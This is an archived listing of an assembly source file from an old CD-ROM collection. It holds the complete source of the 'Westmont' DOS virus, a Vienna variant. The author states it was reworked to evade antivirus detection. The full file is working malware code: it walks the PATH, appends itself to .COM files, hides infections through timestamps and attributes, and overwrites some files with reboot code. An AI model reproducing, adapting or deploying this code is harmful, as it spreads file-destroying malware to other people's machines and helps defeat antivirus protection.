home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / WESTMONT.ASM < prev    next >
Assembly Source File  |  1996-04-07  |  24KB  |  598 lines

  1. ;                      Westmont: A vienna strain
  2. ; This is a variation on the Vienna virus which has had sections of its
  3. ;       code moved around and rewritten in hopes that AV software will
  4. ;       not be able to recognize it.  The seconds flag used to make sure
  5. ;       that a file isn't infected twice has been modified to 61.  The
  6. ;       check for DOS v1.x has been deleted.  Thanks to 40Hex for the 
  7. ;       source to the original Vienna.  What a novice (me) can do with 
  8. ;       well documented code!
  9. ;------------------------------------------------------------------------------
  10.  
  11. MOV_CX  MACRO   X
  12.         DB      0B9H
  13.         DW      X
  14. ENDM
  15.  
  16. CODE    SEGMENT
  17.         ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
  18.         ORG     $+0100H
  19.  
  20. ;*****************************************************************************
  21. ;Start out with a JMP around the remains of the original .COM file, into the
  22. ;virus. The actual .COM file was just an INT 20, followed by a bunch of NOPS.
  23. ;The rest of the file (first 3 bytes) are stored in the virus data area.
  24. ;*****************************************************************************
  25.  
  26. VCODE:  JMP     virbeg
  27.  
  28. ;This was the rest  of the original .COM file. Tiny and simple, this time
  29.  
  30.         NOP
  31.         NOP
  32.         NOP
  33.         NOP
  34.         NOP
  35.         NOP
  36.         NOP
  37.         NOP
  38.         NOP
  39.         NOP
  40.         NOP
  41.         NOP
  42.         NOP
  43.         NOP
  44.         NOP
  45.  
  46. ;************************************************************
  47. ;              The actual virus starts here
  48. ;************************************************************
  49.  
  50. v_start equ     $
  51.  
  52. virbeg: JMP     codesrt         ; Jump around signature
  53.         DB      "Westmont",0
  54.         DB      "Ender"
  55. codesrt:
  56.         CALL    memtrick        ; Call offset setting procedure
  57.         JMP     find_path       ; Start ifect routine
  58.  
  59. ;**********************************************************************
  60. ;              Here when it's time to close it up & end
  61. ;**********************************************************************
  62.  
  63. all_done:
  64.         PUSH    DS
  65.  
  66. ;**********************************************************************
  67. ;                         Restore old DTA
  68. ;**********************************************************************
  69.  
  70.         MOV     AH,1AH
  71.         MOV     DX,[SI+old_dta]
  72.         MOV     DS,[SI+old_dts]
  73.         INT     21H
  74.  
  75.         POP     DS
  76.  
  77. ;*************************************************************************
  78. ; Clear registers used, & do a weird kind of JMP 100. The weirdness comes
  79. ;  in since the address in a real JMP 100 is an offset, and the offset
  80. ;  varies from one infected file to the next. By PUSHing an 0100H onto the
  81. ;  stack, we can RET to address 0100H just as though we JMPed there.
  82. ;**********************************************************************
  83.  
  84. quit:
  85.         POP     CX
  86.         XOR     AX,AX
  87.         XOR     BX,BX
  88.         XOR     DX,DX
  89.         XOR     SI,SI
  90.         MOV     DI,OFFSET 0100H
  91.         PUSH    DI
  92.         XOR     DI,DI
  93.  
  94.         RET     0FFFFH
  95.  
  96.  
  97. ; Infection routine
  98. ; ~~~~~~~~~~~~~~~~~
  99.  
  100. ;************************************************************
  101. ;        Find the "PATH=" string in the environment
  102. ;************************************************************
  103.  
  104. find_path:
  105.         POP     SI
  106.         PUSH    SI                      ;Get SI back
  107.         ADD     SI,env_str              ;Point to "PATH=" string in data area
  108.         LODSB
  109.         MOV     CX,OFFSET 8000H         ;Environment can be 32768 bytes long
  110.         REPNZ   SCASB                   ;Search for first character
  111.         MOV     CX,4
  112.  
  113. ;************************************************************
  114. ;       Loop to check for the next four characters
  115. ;************************************************************
  116.  
  117. check_next_4:
  118.         LODSB
  119.         SCASB
  120.         JNZ     find_path               ;If not all there, abort & start over
  121.         LOOP    check_next_4            ;Loop to check the next character
  122.  
  123.         POP     SI
  124.         POP     ES
  125.         MOV     [SI+path_ad],DI         ;Save the address of the PATH
  126.         MOV     DI,SI
  127.         ADD     DI,wrk_spc              ;File name workspace
  128.         MOV     BX,SI                   ;Save a copy of SI
  129.         ADD     SI,wrk_spc              ;Point SI to workspace
  130.         MOV     DI,SI                   ;Point DI to workspace
  131.         JMP     SHORT   slash_ok
  132.  
  133. ;**********************************************************
  134. ;     Look in the PATH for more subdirectories, if any
  135. ;**********************************************************
  136.  
  137. set_subdir:
  138.         CMP     WORD PTR [SI+path_ad],0 ;Is PATH string ended?
  139.         JNZ     found_subdir            ;If not, there are more subdirectories
  140.         JMP     all_done                ;Else, we're all done
  141.  
  142. ;**********************************************************
  143. ;    Here if there are more subdirectories in the path
  144. ;**********************************************************
  145.  
  146. found_subdir:
  147.         PUSH    DS
  148.         PUSH    SI
  149.         MOV     DS,ES:2CH               ;DS points to environment segment
  150.         MOV     DI,SI
  151.         MOV     SI,ES:[DI+path_ad]      ;SI = PATH address
  152.         ADD     DI,wrk_spc              ;DI points to file name workspace
  153.  
  154. ;***********************************************************
  155. ;      Move subdirectory name into file name workspace
  156. ;***********************************************************
  157.  
  158. move_subdir:
  159.         LODSB                           ;Get character
  160.         CMP     AL,';'                  ;Is it a ';' delimiter?
  161.         JZ      moved_one               ;Yes, found another subdirectory
  162.         CMP     AL,0                    ;End of PATH string?
  163.         JZ      moved_last_one          ;Yes
  164.         STOSB                           ;Save PATH marker into [DI]
  165.         JMP     SHORT   move_subdir
  166.  
  167. ;******************************************************************
  168. ; Mark the fact that we're looking through the final subdirectory
  169. ;******************************************************************
  170.  
  171. moved_last_one:
  172.         MOV     SI,0
  173.  
  174. ;******************************************************************
  175. ;              Here after we've moved a subdirectory
  176. ;******************************************************************
  177.  
  178. moved_one:
  179.         POP     BX                      ;Pointer to virus data area
  180.         POP     DS                      ;Restore DS
  181.         MOV     [BX+path_ad],SI         ;Address of next subdirectory
  182.         NOP
  183.  
  184. ;******************************************************************
  185. ;             Make sure subdirectory ends in a "\"
  186. ;******************************************************************
  187.  
  188.         CMP     CH,'\'                  ;Ends with "\"?
  189.         JZ      slash_ok                ;If yes
  190.         MOV     AL,'\'                  ;Add one, if not
  191.         STOSB
  192.  
  193. ;******************************************************************
  194. ;     Here after we know there's a backslash at end of subdir
  195. ;******************************************************************
  196.  
  197. slash_ok:
  198.         MOV     [BX+nam_ptr],DI         ;Set filename pointer to name workspace
  199.         MOV     SI,BX                   ;Restore SI
  200.         ADD     SI,f_spec               ;Point to "*.COM"
  201.         MOV     CX,6
  202.         REPZ    MOVSB                   ;Move "*.COM",0 to workspace
  203.  
  204.         MOV     SI,BX
  205.  
  206. ;*******************************************************************
  207. ;                 Find first string matching *.COM
  208. ;*******************************************************************
  209.  
  210.         MOV     AH,4EH
  211.         MOV     DX,wrk_spc
  212. ;       NOP                             ;MASM will add this NOP here
  213.         ADD     DX,SI                   ;DX points to "*.COM" in workspace
  214.         MOV     CX,3                    ;Attributes of Read Only or Hidden OK
  215.         INT     21H
  216.  
  217.         JMP     SHORT   find_first
  218.  
  219. ;*******************************************************************
  220. ;              Find next ASCIIZ string matching *.COM
  221. ;*******************************************************************
  222.  
  223. find_next:
  224.         MOV     AH,4FH
  225.         INT     21H
  226.  
  227. find_first:
  228.         JNB     found_file              ;Jump if we found it
  229.         JMP     SHORT   set_subdir      ;Otherwise, get another subdirectory
  230.  
  231. ;*******************************************************************
  232. ;                      Here when we find a file
  233. ;*******************************************************************
  234.  
  235. found_file:
  236.         MOV     AX,[SI+dta_tim]         ;Get time from DTA
  237.         AND     AL,1FH                  ;Mask to remove all but seconds
  238.         CMP     AL,1FH                  ;62 seconds -> already infected
  239.         JZ      find_next               ;If so, go find another file
  240.  
  241.         CMP     WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too long?
  242.         JA      find_next               ;If too long, find another one
  243.  
  244.         CMP     WORD PTR [SI+dta_len],0AH ;Is it too short?
  245.         JB      find_next               ;Then go find another one
  246.  
  247.         MOV     DI,[SI+nam_ptr]         ;DI points to file name
  248.         PUSH    SI                      ;Save SI
  249.         ADD     SI,dta_nam              ;Point SI to file name
  250.  
  251. ;********************************************************************
  252. ;                Move the name to the end of the path
  253. ;********************************************************************
  254.  
  255. more_chars:
  256.         LODSB
  257.         STOSB
  258.         CMP     AL,0
  259.         JNZ     more_chars              ;Move characters until we find a 00
  260.  
  261. ;********************************************************************
  262. ;                        Get File Attributes
  263. ;********************************************************************
  264.  
  265.         POP     SI
  266.         MOV     AX,OFFSET 4300H
  267.         MOV     DX,wrk_spc              ;Point to \path\name in workspace
  268. ;       NOP                             ;MASM will add this NOP here
  269.         ADD     DX,SI
  270.         INT     21H
  271.  
  272.         MOV     [SI+old_att],CX         ;Save the old attributes
  273.  
  274. ;********************************************************************
  275. ;         Rewrite the attributes to allow writing to the file
  276. ;********************************************************************
  277.  
  278.         MOV     AX,OFFSET 4301H         ;Set attributes
  279.         AND     CX,OFFSET 0FFFEH        ;Set all except "read only" (weird)
  280.         MOV     DX,wrk_spc              ;Offset of \path\name in workspace
  281. ;       NOP                             ;MASM will add this NOP here
  282.         ADD     DX,SI                   ;Point to \path\name
  283.         INT     21H
  284.  
  285. ;********************************************************************
  286. ;                Open Read/Write channel to the file
  287. ;********************************************************************
  288.  
  289.         MOV     AX,OFFSET 3D02H         ;Read/Write
  290.         MOV     DX,wrk_spc              ;Offset to \path\name in workspace
  291. ;       NOP                             ;MASM will add this NOP here
  292.         ADD     DX,SI                   ;Point to \path\name
  293.         INT     21H
  294.  
  295.         JNB     opened_ok               ;If file was opened OK
  296.         JMP     fix_attr                ;If it failed, restore the attributes
  297.  
  298. ;*******************************************************************
  299. ;                        Get the file date & time
  300. ;*******************************************************************
  301.  
  302. opened_ok:
  303.         MOV     BX,AX
  304.         MOV     AX,OFFSET 5700H
  305.         INT     21H
  306.  
  307.         MOV     [SI+old_tim],CX         ;Save file time
  308.         MOV     [SI+ol_date],DX         ;Save the date
  309.  
  310. ;*******************************************************************
  311. ;                        Get current system time
  312. ;*******************************************************************
  313.  
  314.         MOV     AH,2CH
  315.         INT     21H
  316.  
  317.         AND     DH,7                    ;Last 3 bits 0? (once in eight)
  318.         JNZ     seven_in_eight
  319.  
  320. ;*******************************************************************
  321. ; The special "one in eight" infection. If the above line were in
  322. ;  its original form, this code would be run 1/8 of the time, and
  323. ;  rather than appending a copy of this virus to the .COM file, the
  324. ;  file would get 5 bytes of code that reboot the system when the
  325. ;  .COM file is run.
  326. ;*******************************************************************
  327.  
  328.         MOV     AH,40H                  ;Write to file
  329.         MOV     CX,5                    ;Five bytes
  330.         MOV     DX,SI
  331.         ADD     DX,reboot               ;Offset of reboot code in data area
  332.         INT     21H
  333.  
  334.         JMP     SHORT   fix_time_stamp
  335.  
  336.         NOP
  337.  
  338. ;******************************************************************
  339. ;      Here's where we infect a .COM file with this virus
  340. ;******************************************************************
  341.  
  342. seven_in_eight:
  343.         MOV     AH,3FH
  344.         MOV     CX,3
  345.         MOV     DX,first_3
  346. ;       NOP                     ;MASM will add this NOP here
  347.         ADD     DX,SI
  348.         INT     21H             ;Save first 3 bytes into the data area
  349.  
  350.         JB      fix_time_stamp  ;Quit, if read failed
  351.  
  352.         CMP     AX,3            ;Were we able to read all 3 bytes?
  353.         JNZ     fix_time_stamp  ;Quit, if not
  354.  
  355. ;******************************************************************
  356. ;              Move file pointer to end of file
  357. ;******************************************************************
  358.  
  359.         MOV     AX,OFFSET 4202H
  360.         MOV     CX,0
  361.         MOV     DX,0
  362.         INT     21H
  363.  
  364.         JB      fix_time_stamp  ;Quit, if it didn't work
  365.  
  366.         MOV     CX,AX           ;DX:AX (long int) = file size
  367.         SUB     AX,3            ;Subtract 3 (OK, since DX must be 0, here)
  368.         MOV     [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
  369.  
  370.         ADD     CX,OFFSET c_len_y
  371.         MOV     DI,SI           ;Point DI to virus data area
  372.         SUB     DI,OFFSET c_len_x
  373.                                 ;Point DI to reference vir_dat, at start of pgm
  374.         MOV     [DI],CX         ;Modify vir_dat reference:2nd, 3rd bytes of pgm
  375.  
  376. ;*******************************************************************
  377. ;                    Write virus code to file
  378. ;*******************************************************************
  379.  
  380.         MOV     AH,40H
  381.  
  382.         MOV_CX  virlen                  ;Length of virus, in bytes
  383.  
  384.         MOV     DX,SI
  385.         SUB     DX,OFFSET codelen       ;Length of virus code, gives starting
  386.                                         ; address of virus code in memory
  387.         INT     21H
  388.  
  389.         JB      fix_time_stamp          ;Jump if error
  390.  
  391.         CMP     AX,OFFSET virlen        ;All bytes written?
  392.         JNZ     fix_time_stamp          ;Jump if error
  393.  
  394. ;**********************************************************************
  395. ;                Move file pointer to beginning of the file
  396. ;**********************************************************************
  397.  
  398.         MOV     AX,OFFSET 4200H
  399.         MOV     CX,0
  400.         MOV     DX,0
  401.         INT     21H
  402.  
  403.         JB      fix_time_stamp          ;Jump if error
  404.  
  405. ;**********************************************************************
  406. ;              Write the 3 byte JMP at the start of the file
  407. ;**********************************************************************
  408.  
  409.         MOV     AH,40H
  410.         MOV     CX,3
  411.         MOV     DX,SI                   ;Virus data area
  412.         ADD     DX,jmp_op               ;Point to the reconstructed JMP
  413.         INT     21H
  414.  
  415. ;**********************************************************************
  416. ;       Restore old file date & time, with seconds modified to 62
  417. ;**********************************************************************
  418.  
  419. fix_time_stamp:
  420.         MOV     DX,[SI+ol_date]         ;Old file date
  421.         MOV     CX,[SI+old_tim]         ;Old file time
  422.         AND     CX,OFFSET 0FFE0H
  423.         OR      CX,1FH                  ;Seconds = 31/30 min = 62 seconds
  424.         MOV     AX,OFFSET 5701H
  425.         INT     21H
  426.  
  427. ;**********************************************************************
  428. ;                              Close File
  429. ;**********************************************************************
  430.  
  431.         MOV     AH,3EH
  432.         INT     21H
  433.  
  434. ;**********************************************************************
  435. ;                     Restore Old File Attributes
  436. ;**********************************************************************
  437.  
  438. fix_attr:
  439.         MOV     AX,OFFSET 4301H
  440.         MOV     CX,[SI+old_att]         ;Old Attributes
  441.         MOV     DX,wrk_spc
  442. ;       NOP                             ;MASM will add this NOP
  443.         ADD     DX,SI                   ;DX points to \path\name in workspace
  444.         INT     21H
  445.         JMP     all_done                
  446. ; Offset setting procedure
  447. ; ~~~~~~~~~~~~~~~~~~~~~~~~
  448. memtrick:                     
  449.         PUSH    CX
  450.         MOV     DX,OFFSET vir_dat       ;This is where the virus data starts.
  451.                                         ; The 2nd and 3rd bytes get modified.
  452.         CLD                             ;Pointers will be auto INcremented
  453.         MOV     SI,DX                   ;Access data as offset from SI
  454.         ADD     SI,first_3              ;Point to original 1st 3 bytes of .COM
  455.         MOV     DI,OFFSET 100H          ;`cause all .COM files start at 100H
  456.         MOV     CX,3
  457.         REPZ    MOVSB                   ;Restore original first 3 bytes of .COM
  458.         MOV     SI,DX                   ;Keep SI pointing to the data area
  459.  
  460.         PUSH ES
  461.         MOV     AH,2FH
  462.         INT     21H
  463.  
  464. ;*************************************************************
  465. ;                    Save the DTA address
  466. ;*************************************************************
  467.  
  468.         MOV     [SI+old_dta],BX
  469.         MOV     [SI+old_dts],ES         ;Save the DTA address
  470.  
  471.         POP     ES
  472.  
  473. ;*************************************************************
  474. ;        Set DTA to point inside the virus data area
  475. ;*************************************************************
  476.  
  477.         MOV     DX,dta                  ;Offset of new DTA in virus data area
  478. ;       NOP                             ;MASM will add this NOP here
  479.         ADD     DX,SI                   ;Compute DTA address
  480.         MOV     AH,1AH
  481.         INT     21H                     ;Set new DTA to inside our own code
  482.  
  483.         PUSH    ES
  484.         PUSH    SI
  485.         MOV     ES,DS:2CH
  486.         MOV     DI,0                    ;ES:DI points to environment
  487.         RET
  488.  
  489. ;************************************************************************
  490. ;The virus data starts here. It's accessed off the SI register, per the
  491. ; comments as shown
  492. ;************************************************************************
  493.  
  494. vir_dat EQU     $
  495.  
  496.         ;Use this with (SI + old_dta)
  497. olddta_ DW      0                       ;Old DTA offset
  498.  
  499.         ;Use this with (SI + old_dts)
  500. olddts_ DW      0                       ;Old DTA segment
  501.  
  502.         ;Use this with (SI + old_tim)
  503. oldtim_ DW      0                       ;Old Time
  504.  
  505.         ;Use this with (SI + ol_date)
  506. oldate_ DW      0                       ;Old date
  507.  
  508.         ;Use this with (SI + old_att)
  509. oldatt_ DW      0                       ;Old file attributes
  510.  
  511. ;Here's where the first three bytes of the original .COM file go.(SI + first_3)
  512.  
  513. first3_ EQU     $
  514.         INT     20H
  515.         NOP
  516.  
  517. ;Here's where the new JMP instruction is worked out
  518.  
  519.         ;Use this with (SI + jmp_op)
  520. jmpop_  DB      0E9H                    ;Start of JMP instruction
  521.  
  522.         ;Use this with (SI + jmp_dsp)
  523. jmpdsp_ DW      0                       ;The displacement part
  524.  
  525. ;This is the type of file  we're looking to infect. (SI + f_spec)
  526.  
  527. fspec_  DB      '*.COM',0
  528.  
  529.         ;Use this with (SI + path_ad)
  530. pathad_ DW      0                       ;Path address
  531.  
  532.         ;Use this with (SI + nam_ptr)
  533. namptr_ DW      0                       ;Pointer to start of file name
  534.  
  535.         ;Use this with (SI + env_str)
  536. envstr_ DB      'PATH='                 ;Find this in the environment
  537.  
  538.         ;File name workspace (SI + wrk_spc)
  539. wrkspc_ DB      40h dup (0)
  540.  
  541.         ;Use this with (SI + dta)
  542. dta_    DB      16h dup (0)             ;Temporary DTA goes here
  543.  
  544.         ;Use this with (SI + dta_tim)
  545. dtatim_ DW      0,0                     ;Time stamp in DTA
  546.  
  547.         ;Use this with (SI + dta_len)
  548. dtalen_ DW      0,0                     ;File length in the DTA
  549.  
  550.         ;Use this with (SI + dta_nam)
  551. dtanam_ DB      0Dh dup (0)             ;File name in the DTA
  552.  
  553.         ;Use this with (SI + reboot)
  554. reboot_ DB      0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
  555.  
  556. lst_byt EQU     $                       ;All lines that assemble into code are
  557.                                         ;  above this one
  558.  
  559. ;*****************************************************************************
  560. ;The virus needs to know a few details about its own size and the size of its
  561. ; code portion. Let the assembler figure out these sizes automatically.
  562. ;*****************************************************************************
  563.  
  564. virlen  =       lst_byt - v_start       ;Length, in bytes, of the entire virus
  565. codelen =       vir_dat - v_start       ;Length of virus code, only
  566. c_len_x =       vir_dat - v_start - 2   ;Displacement for self-modifying code
  567. c_len_y =       vir_dat - v_start + 100H ;Code length + 100h, for PSP
  568.  
  569. ;*****************************************************************************
  570. ;Because this code is being appended to the end of an executable file, the
  571. ; exact address of its variables cannot be known. All are accessed as offsets
  572. ; from SI, which is represented as vir_dat in the below declarations.
  573. ;*****************************************************************************
  574.  
  575. old_dta =       olddta_ - vir_dat       ;Displacement to the old DTA offset
  576. old_dts =       olddts_ - vir_dat       ;Displacement to the old DTA segment
  577. old_tim =       oldtim_ - vir_dat       ;Displacement to old file time stamp
  578. ol_date =       oldate_ - vir_dat       ;Displacement to old file date stamp
  579. old_att =       oldatt_ - vir_dat       ;Displacement to old attributes
  580. first_3 =       first3_ - vir_dat       ;Displacement-1st 3 bytes of old .COM
  581. jmp_op  =       jmpop_  - vir_dat       ;Displacement to the JMP opcode
  582. jmp_dsp =       jmpdsp_ - vir_dat       ;Displacement to the 2nd 2 bytes of JMP
  583. f_spec  =       fspec_  - vir_dat       ;Displacement to the "*.COM" string
  584. path_ad =       pathad_ - vir_dat       ;Displacement to the path address
  585. nam_ptr =       namptr_ - vir_dat       ;Displacement to the filename pointer
  586. env_str =       envstr_ - vir_dat       ;Displacement to the "PATH=" string
  587. wrk_spc =       wrkspc_ - vir_dat       ;Displacement to the filename workspace
  588. dta     =       dta_    - vir_dat       ;Displacement to the temporary DTA
  589. dta_tim =       dtatim_ - vir_dat       ;Displacement to the time in the DTA
  590. dta_len =       dtalen_ - vir_dat       ;Displacement to the length in the DTA
  591. dta_nam =       dtanam_ - vir_dat       ;Displacement to the name in the DTA
  592. reboot  =       reboot_ - vir_dat       ;Displacement to the 5 byte reboot code
  593.  
  594.         CODE    ENDS
  595. END     VCODE
  596.  
  597.  
  598.